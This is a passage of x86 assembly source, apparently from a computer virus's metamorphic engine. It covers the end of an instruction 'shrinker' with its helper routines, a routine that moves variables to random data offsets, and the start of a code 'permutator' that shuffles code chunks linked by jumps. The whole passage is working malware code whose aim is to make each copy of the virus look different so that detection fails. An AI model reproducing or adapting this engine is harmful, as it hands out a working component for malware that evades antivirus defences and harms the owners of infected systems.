                neg     eax           ; If it's ADD is because I converted the
                mov     [esi+7], eax  ; SUB as a single instruction before
                jmp   @@Triple_Next00_SetCMP
        @@Triple_Next00_Cont80:
                mov     eax, 48h      ; Set TEST if it's TEST/AND
        @@Triple_Next00_SetInstruction:
                add     eax, ebx
                mov     [esi], al
                mov     eax, 0FFh
                mov     [edx], al
                jmp   @@EndCompressed
        @@Triple_Next00_CMPTESTRegReg:
                mov     eax, [esi]
                and     eax, 78h
                or      eax, eax     ; ADD?
                jz    @@Triple_End   ; If so, finish
                mov     eax, [esi+7]
                mov     [esi+1], al
                mov     eax, [edx+7]
                mov     [esi+7], al
                add     ebx, 1
                jmp   @@Triple_Next00_SET_CMPTEST
        @@Triple_Next00_Constr00:
                mov     eax, [esi]
                cmp     al, 4Ch      ; Common OP?
                ja    @@Triple_Next01
                xor     ebx, ebx
        @@Triple_Next00_Common:
                mov     eax, [esi]
                and     eax, 78h     ; Get instruction
                cmp     eax, 48h     ; If it's not TEST, finish
                jb    @@Triple_Next00_Common_00
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 2       ; Check TEST Reg,Mem
                jz    @@Triple_Next00_Maybe00
                jmp   @@Triple_Next00_Common_01
        @@Triple_Next00_Common_00:
                mov     eax, [esi]
                and     al, 7
                cmp     al, 3        ; Check OP Mem,Reg
                jz    @@Triple_Next00_Maybe00
        @@Triple_Next00_Common_01:
                cmp     al, 4        ; Check OP Mem,Imm
                jnz   @@Triple_End
        @@Triple_Next00_Maybe00:
                mov     eax, [edx+1]       ; Check the Mem operand among the
                cmp     eax, [esi+1]       ; instructions
                jnz   @@Triple_End
                cmp     eax, [edi+1]
                jnz   @@Triple_End
                mov     eax, [edx+3]
                cmp     eax, [esi+3]
                jnz   @@Triple_End
                cmp     eax, [edi+3]
                jnz   @@Triple_End
                mov     eax, [edx+7]
                cmp     al, [edi+7]
                jnz   @@Triple_End
                mov     eax, [esi]
                and     eax, 78h
                cmp     eax, 48h           ; Get if it's TEST
                jb    @@Triple_Next00_00
                mov     eax, [esi]
                and     eax, 7             ; Check TEST Reg,Mem
                cmp     eax, 2
                jz    @@Triple_Next00_Maybe_OPRegReg ; Jump here if it is
                jmp   @@Triple_Next00_01
        @@Triple_Next00_00:
                mov     eax, [esi]
                and     eax, 7             ; Check OP Mem,Reg
                cmp     eax, 3
                jz    @@Triple_Next00_Maybe_OPRegReg
        @@Triple_Next00_01:
                mov     eax, [edx+7]
                mov     [edx+1], al
                mov     eax, [esi+7]
                mov     [edx+7], eax
                mov     eax, [esi]
                and     eax, 78h
                add     eax, ebx      ; Set the instruction with the EBX
        @@Triple_Next_SetInstruction: ; operands type (Reg,Imm, Reg,Reg, etc.)
                mov     [edx], al
        @@Triple_Next_SetNOP:
                mov     eax, 0FFh
                mov     [esi], al
                mov     [edi], al    ; Eliminate the 2nd and 3rd instruction
                jmp   @@EndCompressed
        @@Triple_Next00_Maybe_OPRegReg:
                mov     eax, [esi+7]
                mov     [edx+1], eax
                mov     eax, [edi+7]
                mov     [edx+7], eax
                mov     eax, [esi]
                and     eax, 0F8h    ; Set CMP/TEST Reg,Reg
                add     eax, 1
                jmp   @@Triple_Next_SetInstruction


      @@Triple_Next01:
                mov     eax, [edx]
                cmp     al, 43h+80h    ; Check the same as above, but this
                jnz   @@Triple_Next02  ; time with 8 bits instructions. Since
                mov     eax, [edx+1]   ; there are many different opcodes,
                cmp     eax, [esi+1]   ; it's not worthy to try to merge it
                jnz   @@Triple_Next02  ; with the routine above, but all the
                mov     eax, [edx+3]   ; others that check the possibility of
                cmp     eax, [esi+3]   ; compression are from there, linking
                jnz   @@Triple_Next02  ; the possibilities with Jccs.
                mov     eax, [edi]
                cmp     al, 42h+80h
                jz    @@Triple_Next01_Constr00
                cmp     al, 70h
                jb    @@Triple_Next02
                cmp     al, 7Fh
                ja    @@Triple_Next02
                mov     eax, [esi]
                and     eax, 0F8h
                cmp     eax, 00h+80h
                jz    @@Triple_Next01_Maybe01
                cmp     eax, 28h+80h
                jz    @@Triple_Next01_Maybe01
                cmp     eax, 38h+80h
                jz    @@Triple_Next01_Maybe01
                cmp     eax, 48h+80h
                jz    @@Triple_Next01_Maybe01
                cmp     eax, 20h+80h
                jnz   @@Triple_End
        @@Triple_Next01_Maybe01:
                mov     ebx, 80h
                jmp   @@Triple_Next00_CheckCMPTEST
        @@Triple_Next01_Constr00:
                mov     ebx, 80h
                mov     eax, [esi]
                cmp     al, 4Ch+80h
                ja    @@Triple_Next02     ; Well, at least we achieved to
                cmp     al, 00h+80h       ; use as many instructions from the
                jae   @@Triple_Next00_Common ; @@Triple_Next00 as we can :)


      @@Triple_Next02:
                mov     eax, [edx]
                cmp     al, 4Fh           ; MOV Mem,Mem?
                jnz   @@Triple_Next03
                mov     eax, [edi]
                cmp     al, 70h           ; Jcc in 3rd?
                jb    @@Triple_Next02_ContCheck
                cmp     al, 7Fh
                ja    @@Triple_Next02_ContCheck
                mov     ebx, [edx+7]      ; Get the destiny address and check
                mov     eax, [ebx+1]      ; if first and second instruction
                cmp     eax, [esi+1]      ; use the same operand.
                jnz   @@Triple_End
                mov     eax, [ebx+3]
                cmp     eax, [esi+3]
                jnz   @@Triple_End
                mov     eax, [esi]
                and     eax, 78h          ; Check for comparisions:
                cmp     eax, 20h          ; AND?
                jz    @@Triple_Next02_CheckCMPTESTMemReg
                cmp     eax, 28h          ; SUB?
                jz    @@Triple_Next02_CheckCMPTESTMemReg
                cmp     eax, 38h          ; CMP?
                jz    @@Triple_Next02_CheckCMPTESTMemReg
                cmp     eax, 48h          ; TEST?
                jnz   @@Triple_Next03
        @@Triple_Next02_CheckCMPTESTRegMem:
        @@Triple_Next02_CheckCMPTESTMemReg:
                mov     eax, [edx+1]
                mov     [esi+1], eax
                mov     eax, [edx+3]
                mov     [esi+3], eax
                mov     eax, 0FFh
                mov     [edx], eax
                mov     eax, [esi]
                and     eax, 78h
                cmp     eax, 38h          ; CMP?
                jz    @@EndCompressed
                cmp     eax, 48h          ; TEST?
                jz    @@EndCompressed
                cmp     eax, 20h          ; AND?
                jz    @@Triple_Next02_SetTEST
                mov     ebx, 10h          ; Transform from SUB to CMP
        @@Triple_Next02_ConvertInstruction:
                mov     eax, [esi]        ; Set the instruction
                add     eax, ebx
                mov     [esi], eax
                jmp   @@EndCompressed
        @@Triple_Next02_SetTEST:
                mov     ebx, 28h          ; Transform from AND to TEST
                jmp   @@Triple_Next02_ConvertInstruction
        @@Triple_Next02_ContCheck:
                ;mov     al, [edi]
                cmp     al, 4Fh           ; Check the 3rd instruction for a
                jnz   @@Triple_Next03     ; common operation
                mov     eax, [esi]
                cmp     al, 4Ch           ; Check now the 2nd instruction
                jbe   @@Triple_Next02_CommonOperation
                cmp     al, 00h+80h       ; Check if it's 8 bits instructions
                jb    @@Triple_Next03
                cmp     al, 4Ch+80h
                ja    @@Triple_Next03
        @@Triple_Next02_CommonOperation:
                cmp     eax, 0F6h         ; Check for APICALL_STORE
                jz    @@Triple_Next02_OPMemReg
                and     eax, 78h
                cmp     eax, 48h          ; Check for a common instruction
                jb    @@Triple_Next02_00
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 2            ; Check if it's OP Reg,Mem in 2nd
                jz    @@Triple_Next02_OPMemReg
                jmp   @@Triple_Next02_01
        @@Triple_Next02_00:
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 3            ; Check if it's OP Mem,Reg in 2nd
                jz    @@Triple_Next02_OPMemReg
        @@Triple_Next02_01:
                cmp     eax, 4            ; OP Mem,Imm?
                jnz   @@Triple_End
        @@Triple_Next02_OPMemImm:
        @@Triple_Next02_OPMemReg:
                mov     ebx, [edx+7]
                mov     eax, [ebx+1]
                cmp     eax, [edi+1]      ; Check Mem operands to see if the
                jnz   @@Triple_End        ; instructions use the same one (if
                cmp     eax, [esi+1]      ; not, we can't compress them,
                jnz   @@Triple_End        ; obviously)
                mov     eax, [ebx+3]
                cmp     eax, [edi+3]
                jnz   @@Triple_End
                cmp     eax, [esi+3]
                jnz   @@Triple_End
                mov     ebx, [edi+7]
                mov     eax, [ebx+1]
                cmp     eax, [edx+1]
                jnz   @@Triple_End
                mov     eax, [ebx+3]
                cmp     eax, [edx+3]
                jnz   @@Triple_End
                mov     eax, [edx+1]      ; Set the new Mem operand
                mov     [esi+1], eax
                mov     eax, [edx+3]
                mov     [esi+3], eax
        @@Triple_Next_SetNOP_1_3:
                mov     eax, 0FFh
                mov     [edx], al
                mov     [edi], al         ; Overwrite with NOP the first and
                jmp   @@EndCompressed     ; third instruction, since we used
                                          ; the second one to put the new
                                          ; instruction.
      @@Triple_Next03:
                mov     eax, [edx]
                cmp     al, 44h           ; Check for MOV Mem,Imm
                jnz   @@Triple_Next04
                mov     eax, [edi]
                cmp     al, 42h           ; MOV Mem,Imm + xxx + MOV Reg,Mem?
                jz    @@Triple_Next03_Constr00
                cmp     al, 70h           ; Jcc in 3rd?
                jb    @@Triple_Next04
                cmp     al, 7Fh
                ja    @@Triple_Next04
                mov     eax, [esi]
        @@Triple_Next03_Check_CMP_TEST:
                cmp     al, 3Ah           ; CMP Reg,Mem (8 or 32 bits)
                jz    @@Triple_Next03_CMPRegImm
                cmp     al, 4Ah           ; TEST Reg,Mem (" " " ")
                jnz   @@Triple_End
        @@Triple_Next03_CMPRegImm:
        @@Triple_Next03_TESTRegImm:
                mov     eax, [esi]        ; Get 2nd instruction
                and     eax, 0F8h         ; Convert it to OP Reg,Imm
                mov     [edx], al         ; Set it at 1st instruction
                mov     eax, [esi+7]
                mov     [edx+1], al
                mov     eax, 0FFh
                mov     [esi], al
                jmp   @@EndCompressed
        @@Triple_Next03_Constr00:
                mov     eax, [esi]
                cmp     eax, 0F6h         ; Check if it's APICALL_STORE
                jz    @@Triple_Next03_Common_F6
                cmp     al, 4Ch           ; Check if it's a common operation
                ja    @@Triple_Next04
        @@Triple_Next03_Common:
                and     eax, 78h
                cmp     eax, 48h          ; Common operation?
                jb    @@Triple_Next03_00
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 2            ; Check if it's OP Reg,Mem
                jz    @@Triple_Next03_Common_F6
                jmp   @@Triple_End
        @@Triple_Next03_00:
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 3            ; OP Mem,Reg?
                jnz   @@Triple_End
        @@Triple_Next03_Common_F6:
                mov     eax, [edx+1]      ; If the Mem operands are the same,
                cmp     eax, [esi+1]      ; merge them
                jnz   @@Triple_End
                cmp     eax, [edi+1]
                jnz   @@Triple_End
                mov     eax, [edx+3]
                cmp     eax, [esi+3]
                jnz   @@Triple_End
                cmp     eax, [edi+3]
                jnz   @@Triple_End
                mov     eax, [esi+7]
                mov     [edx+1], eax
                mov     eax, [esi]
                and     eax, 0F8h
                jmp   @@Triple_Next_SetInstruction


      @@Triple_Next04:
                mov     eax, [edx]
                cmp     al, 44h+80h    ; Same as above, but 8 bits instructs.
                jnz   @@Triple__Next04
                mov     eax, [edi]
                cmp     al, 42h+80h
                jz    @@Triple_Next04_Constr00
                cmp     al, 70h
                jb    @@Triple__Next04
                cmp     al, 7Fh
                ja    @@Triple__Next04
                mov     eax, [esi]
                sub     al, 80h
                jmp   @@Triple_Next03_Check_CMP_TEST
        @@Triple_Next04_Constr00:
                mov     eax, [esi]
                cmp     al, 00h+80h
                jb    @@Triple__Next04
                cmp     al, 4Ch+80h
                jbe   @@Triple_Next03_Common

      @@Triple__Next04:


      @@Triple_End:
                jmp   @@EndNoCompressed  ; If we didn't found any single,
                                         ; pair or triplet, end with flag of
      @@EndCompressed:                   ; "not found"
                mov     eax, 1
                pop     edi
                ret
      @@EndNoCompressed:
                xor     eax, eax
                pop     edi
                ret
ShrinkThisInstructions endp

;; This routine checks if the pseudoopcode passed uses a memory operand,
;; returning EAX = 1 if uses it, or 0 if it doesn't
CheckIfInstructionUsesMem proc
                cmp     eax, 4Eh  ; Common op?
                jbe   @@Common
                cmp     eax, 4Fh  ; MOV Mem,Mem --> return TRUE
                jz    @@UsesMem
                cmp     eax, 70h  ; If 50/51/58/59 --> return bit 0
                jb    @@CheckLastBit
                cmp     eax, 80h  ; Common 8 bits operations?
                jb    @@NoMem
                cmp     eax, 0CEh
                jbe   @@Common
                cmp     eax, 0E7h ; From E0 to E7 (NOT/NEG) -> return bit 0
                jbe   @@CheckLastBit
                cmp     eax, 0EAh ; CALL Mem?
                jz    @@UsesMem
                cmp     eax, 0EBh ; JMP Mem?
                jz    @@UsesMem
                cmp     eax, 0F1h ; SHIFT Mem?
                jz    @@UsesMem
                cmp     eax, 0F3h ; SHIFT Mem8?
                jz    @@UsesMem
                cmp     eax, 0F6h ; APICALL_STORE?
                jz    @@UsesMem
                cmp     eax, 0F7h
                jz    @@UsesMem
                cmp     eax, 0F8h ; MOVZX Reg,byte ptr [Mem]?
                jz    @@UsesMem
                cmp     eax, 0FCh ; LEA?
                jz    @@UsesMem
       @@NoMem: xor     eax, eax  ; Return FALSE
                ret
       @@CheckLastBit:
                and     eax, 1    ; Return bit 0
                ret
       @@Common:
                cmp     eax, 4Eh  ; Temporal info-transferring opcode
                jz    @@UsesMem
                and     eax, 7
                cmp     eax, 2
                jb    @@NoMem
                cmp     eax, 4    ; OP Reg,Mem / OP Mem,Reg / OP Mem,Imm?
                ja    @@NoMem     ; If not, return FALSE
       @@UsesMem:
                mov     eax, 1
                ret
CheckIfInstructionUsesMem endp

;; This function merges the Imms passed in ECX and EDX depending on the
;; operations passed in EBX and EAX. The return values are the result of
;; merging the operations. For example, if we pass MOV EAX,1234 / ADD EAX,5
;; then the returned operation will be MOV EAX,1239. It's also made for
;; ADD + ADD/SUB and many more. If the operation can't be joined then the
;; return value is 0FEh. If there are no merging, but the first instruction
;; does nothing (for example, ADD EAX,1234 / MOV EAX,5 --> MOV EAX,5) then
;; the return value is NOP.
; In:
;; ECX = First Imm
;; EDX = 2nd Imm
;; EAX = First OP
;; EBX = 2nd OP (in lower 8 bits)
; Out:
;; ECX = Value to OP
;; EAX = OP to perform
;;      FEh if it isn't shrinkable.
;;      FFh if we must eliminate 1st instruction and leave 2nd invariable.
CalculateOperation proc
;; ADC & SBB aren't treated since they aren't used by the engine.
                and     ebx, 0FFh
                and     eax, 0FFh
                cmp     ebx, 40h   ; If 2nd instruction is MOV, eliminate 1st
                jz    @@Eliminate1st
                cmp     eax, 40h   ; First instruction == MOV?
                jz    @@MOV        ; Then, do the merge
                or      eax, eax   ; ADD?
                jz    @@ADD
                cmp     eax, 8     ; OR?
                jz    @@OR
                cmp     eax, 20h   ; AND?
                jz    @@AND
                cmp     eax, 28h   ; SUB?
                jz    @@SUB
                cmp     eax, 30h   ; XOR?
                jz    @@XOR
                cmp     eax, 38h   ; CMP
                jz    @@Eliminate1st
                cmp     eax, 48h   ; TEST
                jnz   @@Eliminate1st
                jmp   @@NoCompression

     ; Check a merging with the ADD as first instruction
     @@ADD:     or      ebx, ebx  ; 2nd instr. ADD?
                jz    @@ADD_ADD   ; Then, merge
                cmp     ebx, 28h  ; 2nd instr. SUB?
                jz    @@ADD_SUB   ; Then, merge
                jmp   @@NoCompression  ; Exit with no compression

     ; Try the merging with OR
     @@OR:      cmp     ebx, 8    ; 2nd instruction == OR?
                jz    @@OR_OR     ; Merge OR / OR
                jmp   @@NoCompression  ; Exit with no compression

     @@AND:     cmp     ebx, 20h  ; Check AND / AND
                jz    @@AND_AND   ; If it is, merge ANDs
                jmp   @@NoCompression  ; Exit with no compression

     @@SUB:     or      ebx, ebx  ; Check SUB / ADD or SUB / SUB
                jz    @@SUB_ADD
                cmp     ebx, 28h
                jnz   @@NoCompression  ; Exit with no compression
     @@SUB_SUB: neg     ecx       ; Merge the SUBs into a single operation:
                sub     ecx, edx  ; -(1st) - 2nd = ADD Imm
                xor     eax, eax
                ret
     @@SUB_ADD: sub     edx, ecx  ; 2nd - 1st = ADD Imm
                mov     ecx, edx
                xor     eax, eax
                ret

     @@XOR:     cmp     ebx, 30h  ; XOR / XOR?
                jz    @@XOR_XOR   ; Then merge XORs
                jmp   @@NoCompression ; If it's not XOR, don't merge

     @@MOV:     or      ebx, ebx  ; MOV / ADD?
                jz    @@MOV_ADD
                cmp     ebx, 8    ; MOV / OR?
                jz    @@MOV_OR
                cmp     ebx, 20h  ; MOV / AND?
                jz    @@MOV_AND
                cmp     ebx, 28h  ; MOV / SUB?
                jz    @@MOV_SUB
                cmp     ebx, 30h  ; MOV / XOR?
                jz    @@MOV_XOR
     @@NoCompression:
                mov     eax, 0FEh ; Set "no compression" return value
                ret
     @@Eliminate1st:
                mov     eax, 0FFh ; Set NOP to first instruction (and leave the
                ret               ; second instruction untouched)

     @@ADD_ADD:
     @@MOV_ADD: add     ecx, edx  ; MOV + ADD or ADD + ADD = Add both Imms
                ret
     @@OR_OR:                     ; MOV + OR or OR + OR = OR both Imms
     @@MOV_OR:  or      ecx, edx
                ret
     @@AND_AND:                   ; MOV + AND or AND + AND = AND both Imms
     @@MOV_AND: and     ecx, edx
                ret
     @@ADD_SUB:                   ; MOV + SUB or ADD + SUB = SUB 2nd Imm from
     @@MOV_SUB: sub     ecx, edx  ; first Imm
                ret
     @@XOR_XOR:                   ; MOV + XOR or XOR + XOR = XOR both Imms
     @@MOV_XOR: xor     ecx, edx
                ret
CalculateOperation endp

;; This function merges two flag checks (like JNZ/JA, for example) to get a
;; direct check to use in a conditional jump.
;; In:
;;  EAX = Flag to check 1
;;  EBX = Flag to check 2
;; Out:
;;  EAX = Direct flag (+70h = 7xh, opcode of Jcc)
;;      = 79h if unconditional jump is performed (+70h = E9h, opcode of JMP)
;;      = 0FFh if no direct flag can be used
;; This function only tests the flags that are coded by this engine (not all
;; the possible types).
;;
;; Checks can be merged as:
;;
;; X(even) + X+1 = JMP(unconditional)
;; NB(3) + E(4) = NB(3)
;; NB(3) + A(7) = NB(3)
;; E(4) + A(7) = NB(3)
;;
;; B(2) + A(7) = NE(5)
;; B(2) + NE(5) = NE (5)
;; NE(5) + A(7) = NE(5)
;;
;; B(2) + E(4) = BE(6)
;; B(2) + BE(6) = BE(6)
;; E(4) + BE(6) = BE(6)
;;
;; NB(3) + BE(6) = JMP(unconditional)
;; NE(5) + BE(6) = JMP (unconditional)


GetRealCheck    proc
                cmp     eax, ebx
                jb    @@1
                mov     ecx, ebx
                mov     edx, eax
                jmp   @@2
        @@1:    mov     ecx, eax
                mov     edx, ebx
        @@2:    test    ecx, 1    ; ECX <= EDX
                jnz   @@NoUnconditional
                sub     edx, 1    ; If Jcc1 == 7x and Jcc2 == 7x+1, it's an
                cmp     ecx, edx  ; unconditional JMP (for example,
                jz    @@UnconditionalJump ; opcodes 74h/75h (JZ/JNZ), etc.
                add     edx, 1
        @@NoUnconditional:
                cmp     ecx, edx  ; If Jcc1 == Jcc2, the result is the same Jcc
                jz    @@ReturnCurrent
                cmp     ecx, 2    ; JB?
                jz    @@Check2_x
                cmp     ecx, 3    ; JAE?
                jz    @@Check3_x
                cmp     ecx, 4    ; JZ?
                jz    @@Check4_x
                cmp     ecx, 5    ; JNZ?
                jnz   @@NoOption
       ;; Check merge with JNZ
       @@Check5_x:
                cmp     edx, 7    ; JNZ + JA?
                jz    @@SetNE     ;   Then, set JNZ
                cmp     edx, 6    ; JNZ + JBE?
                jz    @@UnconditionalJump ; Then, set JMP (unconditional)
                jmp   @@NoOption  ; If there isn't any of these options, it
                                  ; can't be compressed
       ;; Check merge with JB
       @@Check2_x:
                cmp     edx, 4    ; If 2nd < 4, it can't be compressed
                jb    @@NoOption
                cmp     edx, 7    ; If 2nd > 7, it can't be compressed
                ja    @@NoOption
                test    edx, 1    ; JB + JNZ/JA = JNZ
                jnz   @@SetNE
                jmp   @@SetBE     ; JB + JZ/JBE = JBE

       ;; Check merge with JAE
       @@Check3_x:
                cmp     edx, 4    ; JAE + JZ = JAE
                jz    @@SetNB
                cmp     edx, 7    ; JAE + JA = JAE
                jz    @@SetNB
                cmp     edx, 6    ; JAE + JBE = JMP
                jz    @@UnconditionalJump
                jmp   @@NoOption  ; Others can't be compressed

       ;; Check merge with JZ
       @@Check4_x:
                cmp     edx, 6    ; JZ + JBE = JBE
                jz    @@SetBE
                cmp     edx, 7    ; JZ + JA = JAE/JNB
                jnz   @@NoOption
              ;  jmp   @@SetNB

       @@SetNB: mov     eax, 3    ; Set JAE
                ret
       @@SetNE: mov     eax, 5    ; Set JNZ
                ret
       @@SetBE: mov     eax, 6    ; Set JBE
                ret
       @@NoOption:
                mov     eax, 0FFh ; Set "no compression"
       @@ReturnCurrent:
                ret
       @@UnconditionalJump:
                mov     eax, 79h  ; Set JMP
                ret
GetRealCheck    endp
;;
;;
;; End of shrinker
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!VarIdent
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The variable identificator
;; --------------------------
;;
;; Little function that substitutes all the variables referenced along the
;; code by pointers to a table. These pointers will allow later the
;; repositioning of all the variables that are used by the whole code. It's
;; much like the label tables for displacement instructions, but this time
;; for variable referencing.
;;
;; The variables are identified by using the function from the shrinker
;; CheckIfInstructionUsesMem() (which returns EAX true or false) and when
;; the variable only has DeltaRegister as the index.
;;


;;
;; ECX = Delta offset register (must be known)
;; [VariableTable] = Address of buffer to store variables
;; [NumberOfVariables] = Place to store the number of variables
;;
IdentifyVariables proc
                mov     esi, [ebp+InstructionTable]
                mov     edi, [ebp+VariableTable]
                xor     eax, eax
                mov     [ebp+NumberOfVariables], eax ; Initialization

        @@LoopGetVar:
                xor     eax, eax     ; Get the instruction
                mov     al, [esi]    ; Check if it's LEA
                cmp     eax, 0FCh    ; If it is, don't take it in account
                jz    @@NextInstruction
                call    CheckIfInstructionUsesMem ; Get the usage of Mem by
                                                  ; this instruction.
                or      eax, eax              ; EAX = 0?
                jz    @@NextInstruction       ; Then, it doesn't
                mov     al, [esi+1]           ; Get first index
                cmp     eax, ecx              ; Delta register?
                jz    @@DeltaOffsetAt1        ; If it's, jump
                mov     al, [esi+2]           ; Get the second index
                cmp     eax, ecx              ; Delta register?
                jz    @@DeltaOffsetAt2        ; If it's, jump
        @@NextInstruction:
                add     esi, 10h              ; Next instruction
                cmp     esi, [ebp+AddressOfLastInstruction] ; Last instr.?
                jnz   @@LoopGetVar                          ; If not, jump
                jmp   @@SelectNewVariables   ; Jump to regarble the variables.
        @@DeltaOffsetAt1:
                mov     al, [esi+2]          ; Get the index where the Delta
                jmp   @@Continue_01          ; register wasn't
        @@DeltaOffsetAt2:
                mov     al, [esi+1]
        @@Continue_01:
                cmp     eax, 8               ; Is it another index?
                jnz   @@NextInstruction      ; If it is, don't change it.
                mov     eax, [esi+3]         ; Get addition.
                mov     edx, [ebp+VariableTable]     ; Get the variable table
                mov     ebx, [ebp+NumberOfVariables] ; Get the counter of
                                                     ;  variables.
                sub     eax, [ebp+_DATA_SECTION] ; Get the offset inside the
                and     eax, 0FFFFFFF8h          ; data_section
        @@LookForVariable:
                or      ebx, ebx           ; If we haven't found the variable
                jz    @@InsertVariable     ; already inserted, insert it
                cmp     eax, [edx]         ; Check if it exists
                jz    @@VariableExists     ; If exists, jump
                add     edx, 4             ; Check next variable
                sub     ebx, 4
                jmp   @@LookForVariable
       @@InsertVariable:                   ; Insert the variable in the table
                mov     [edx], eax         ; and use EDX as the new variable
                mov     eax, [ebp+NumberOfVariables]  ; entry
                add     eax, 4
                mov     [ebp+NumberOfVariables], eax
       @@VariableExists:
                mov     eax, 00000809h  ; Set the index 9, which means
                mov     [esi+1], eax    ;  "variable identifier".
                mov     [esi+3], edx    ; Variable address at table
                jmp   @@NextInstruction

       @@SelectNewVariables:
                mov     ecx, 20000h / 4    ; Initialize the table of marks
                mov     edi, [ebp+VarMarksTable] ; for variables. This helps
                xor     eax, eax                 ; us to select new variables.
       @@LoopInitializeMarks:
                mov     [edi], eax      ; Initialize with 0s all the table
                add     edi, 4
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopInitializeMarks

;; Now what we are going to do is to get all the variables from the variable
;; table and select a new offset inside the DATA_SECTION for every one. In
;; this way the variables never point to the same place nor have a proportion
;; between them.
                mov     ecx, [ebp+NumberOfVariables] ; Get the table in EBX,
                mov     ebx, [ebp+VariableTable]     ; ECX = number of entries
           @@LoopGetNewVar:
                call    Random           ; Select a new position
                and     eax, 01FFF8h
                add     eax, [ebp+VarMarksTable] ; Get the mark of the var.

                mov     edx, [eax]       ; Is that address already reserved?
                or      edx, edx
                jnz   @@LoopGetNewVar    ; If it is, select another one

                mov     edx, 1           ; Reserve that variable to avoid the
                mov     [eax], edx       ; reselection of the offset
                sub     eax, [ebp+VarMarksTable]
                push    ebx              ; Get the offset inside DATA_SECTION
                mov     ebx, eax
                call    Random           ; Add a random from 0 to 3
                and     eax, 3
                add     eax, ebx
                pop     ebx
                mov     [ebx], eax    ; Set the new address of the variable
                add     ebx, 4
                sub     ecx, 4        ; Next variable
                or      ecx, ecx      ; Have we reached the end?
                jnz   @@LoopGetNewVar ; If not, loop again

                ret                   ; Return
IdentifyVariables endp
;;
;;
;; End of variable identificator
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!Permutator
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The permutator
;;---------------
;;
;; The code here will divide in chunks of code all the disassembled made
;; before, and then linked with jumps. All the labels are also fixed, so
;; the returned permutation could be reassembled without problems.
;;
;; First, the table is generated, then shuffled and after that used to copy
;; the instructions in the order the table says. The table will be generated
;; taking the first instruction address as the beginning of the frame
;; generator, and then creating pairs of "beginnings" and "ends" of portions,
;; for example: x000-x020h, x020h-x070h, x070h-x140h, etc.
;;
;; We keep in every shuffle loop the situation of the first chunk of code,
;; since it's the entrypoint. Moreover, when making the portions we scan for
;; some specific instructions that it's better to not fragment (for example,
;; CALL [API_Address] and APICALL_STORE).
;;
PermutateCode   proc
                xor     eax, eax
                mov     [ebp+NumberOfJumps], eax  ; Initialize this
                mov     edi, [ebp+FramesTable]
                mov     ecx, [ebp+AddressOfLastInstruction]
                mov     eax, [ebp+InstructionTable]
                mov     esi, eax
                sub     ecx, eax ; Number of instructions * 10h

       @@NextFrame:
                call    Random     ; Get a random number between F0h and 1E0h
                and     eax, 0F0h
                add     eax, 0F0h
                mov     [edi], esi ; Set the beginning of the first frame
                add     esi, eax
                mov     [edi+4], esi ; Set the end as beginning+the random
                mov     ebx, esi
    @@LoopCheckInst00:
                sub     ebx, 10h    ; Get the last instruction
                cmp     ebx, [edi]  ; If we meet the first instruction, stop
                jz    @@CheckInst_Next00
                mov     edx, [ebx]  ; Get the pseudoopcode
                and     edx, 0FFh
                cmp     edx, 0FFh         ; Is it NOP?
                jz    @@LoopCheckInst00   ; Then decrease again (ignore it)
                cmp     edx, 0EAh         ; API CALL?
                jnz   @@CheckInst_Next00  ; If not, finish
    @@LoopCheckInst01:
                add     ebx, 10h          ; Get the next address
                cmp     ebx, [ebp+AddressOfLastInstruction] ; If it's the last
                jz    @@CheckInst_Next00                 ; instruction, finish
                mov     edx, [ebx]        ; Get the opcopde
                and     edx, 0FFh
                cmp     edx, 0FFh         ; NOP?
                jz    @@LoopCheckInst01   ; If NOP, loop again
                cmp     edx, 0F6h         ; Check for APICALL_STORE
                jnz   @@CheckInst_Next00  ; If it isn't, continue
                add     ebx, 10h          ; Include APICALL_STORE in the frame
                sub     ebx, esi
                add     eax, ebx
                add     esi, ebx
                mov     [edi+4], esi
    @@CheckInst_Next00:
                mov     ebx, esi          ; Get the address of the last
                jmp   @@DontAdd10hYet     ; instruction of the frame and jump
    @@LoopCheckInst02:
                add     ebx, 10h          ; Next instruction
    @@DontAdd10hYet:
                cmp     ebx, [ebp+AddressOfLastInstruction] ; If it's the last
                jz    @@CheckInst_Next01           ; instruction, finish loop
                mov     edx, [ebx]
                and     edx, 0FFh
                cmp     edx, 0FFh         ; NOP?
                jz    @@LoopCheckInst02   ; If NOP, get the next instruction
                cmp     edx, 0E9h         ; JMP?
                jz    @@CheckInst_IncludeInstruction
                cmp     edx, 0FEh         ; RET?
                jz    @@CheckInst_IncludeInstruction
                cmp     edx, 0EBh         ; JMP Mem?
                jz    @@CheckInst_IncludeInstruction
                cmp     edx, 0EDh         ; JMP Reg?
                jz    @@CheckInst_IncludeInstruction
                cmp     edx, 70h          ; Jcc?
                jb    @@CheckInst_Next01
                cmp     edx, 7Fh
                ja    @@CheckInst_Next01

  ;; Include the next instructions in the same frame:
  ;; JMP: Include it to avoid strange situations where Jcc + JMP cannot be
  ;;     compressed and then never eliminated (or something like that)
  ;;     (3D problems :)
  ;; RET: The same: we avoid situations where a single RET is pointed by a
  ;;     jump.
  ;; JMP Mem: Same as RET.
  ;; JMP Reg: Same as RET.
  ;; Jcc: To avoid unlinking it from its CMP/TEST from before, and then making
  ;;     the shrinker to eliminate a single CMP/TEST.

    @@CheckInst_IncludeInstruction:
                add     ebx, 10h  ; Add instructions to the frame until all
